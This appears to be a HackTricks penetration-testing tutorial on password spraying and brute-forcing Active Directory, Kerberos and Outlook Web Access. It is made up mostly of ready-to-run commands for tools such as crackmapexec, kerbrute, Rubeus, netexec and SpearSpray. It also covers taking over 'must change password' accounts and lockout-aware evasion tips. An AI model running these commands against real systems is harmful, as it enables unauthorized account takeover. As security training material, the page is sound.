HackTricks News Bot bcb06375f6 Add content from: HTB Sendai: From password spray to gMSA dump, then ADCS ESC4...
- Remove searchindex.js (auto-generated file)
2025-08-28 18:40:37 +00:00

11 KiB
Raw Blame History

Password Spraying / Brute Force

{{#include ../../banners/hacktricks-training.md}}

Password Spraying

Once you have found several valid usernames you can try the most common passwords (keep in mind the password policy of the environment) with each of the discovered users.
By default the minimum password length is 7.

Lists of common usernames could also be useful: https://github.com/insidetrust/statistically-likely-usernames

Notice that you could lockout some accounts if you try several wrong passwords (by default more than 10).

Get password policy

If you have some user credentials or a shell as a domain user you can get the password policy with:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Exploitation from Linux (or all)

  • Using crackmapexec:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (you can indicate number of attempts to avoid lockouts):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Using kerbrute (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • With the scanner/smb/smb_login module of Metasploit:

  • Using rpcclient:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
    rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

From Windows

  • With Rubeus version with brute module:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • With Invoke-DomainPasswordSpray (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Identify and Take Over "Password must change at next logon" Accounts (SAMR)

A low-noise technique is to spray a benign/empty password and catch accounts returning STATUS_PASSWORD_MUST_CHANGE, which indicates the password was forcibly expired and can be changed without knowing the old one.

Workflow:

  • Enumerate users (RID brute via SAMR) to build the target list:

{{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md {{#endref}}

# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
  • Spray an empty password and keep going on hits to capture accounts that must change at next logon:
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
  • For each hit, change the password over SAMR with NetExecs module (no old password needed when "must change" is set):
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"

# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol

Operational notes:

  • Ensure your host clock is in sync with the DC before Kerberos-based operations: sudo ntpdate <dc_fqdn>.
  • A [+] without (Pwn3d!) in some modules (e.g., RDP/WinRM) means the creds are valid but the account lacks interactive logon rights.

Brute Force

legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)

Kerberos pre-authbased spraying reduces noise vs SMB/NTLM/LDAP bind attempts and aligns better with AD lockout policies. SpearSpray couples LDAP-driven targeting, a pattern engine, and policy awareness (domain policy + PSOs + badPwdCount buffer) to spray precisely and safely. It can also tag compromised principals in Neo4j for BloodHound pathing.

Key ideas:

  • LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
  • Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
  • Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
  • Pattern-based, per-user password generation using variables like names and temporal values derived from each users pwdLastSet.
  • Throughput control with threads, jitter, and max requests per second.
  • Optional Neo4j integration to mark owned users for BloodHound.

Basic usage and discovery:

# List available pattern variables
spearspray -l

# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local

# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl

Targeting and pattern control:

# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
  -q "(&(objectCategory=person)(objectClass=user)(department=IT))"

# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME

Stealth and safety controls:

# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10

# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2

Neo4j/BloodHound enrichment:

spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687

Pattern system overview (patterns.txt):

# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}

Available variables include:

  • {name}, {samaccountname}
  • Temporal from each users pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
  • Composition helpers and org token: {separator}, {suffix}, {extra}

Operational notes:

  • Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
  • badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
  • Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.

Tip: SpearSprays default LDAP page size is 200; adjust with -lps as needed.

Outlook Web Access

There are multiples tools for password spraying outlook.

To use any of these tools, you need a user list and a password / a small list of passwords to spray.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
    [x] Failed: larsson:Summer2020
    [x] Failed: cube0x0:Summer2020
    [x] Failed: a.admin:Summer2020
    [x] Failed: c.cube:Summer2020
    [+] Success: s.svensson:Summer2020

Google

Okta

References

{{#include ../../banners/hacktricks-training.md}}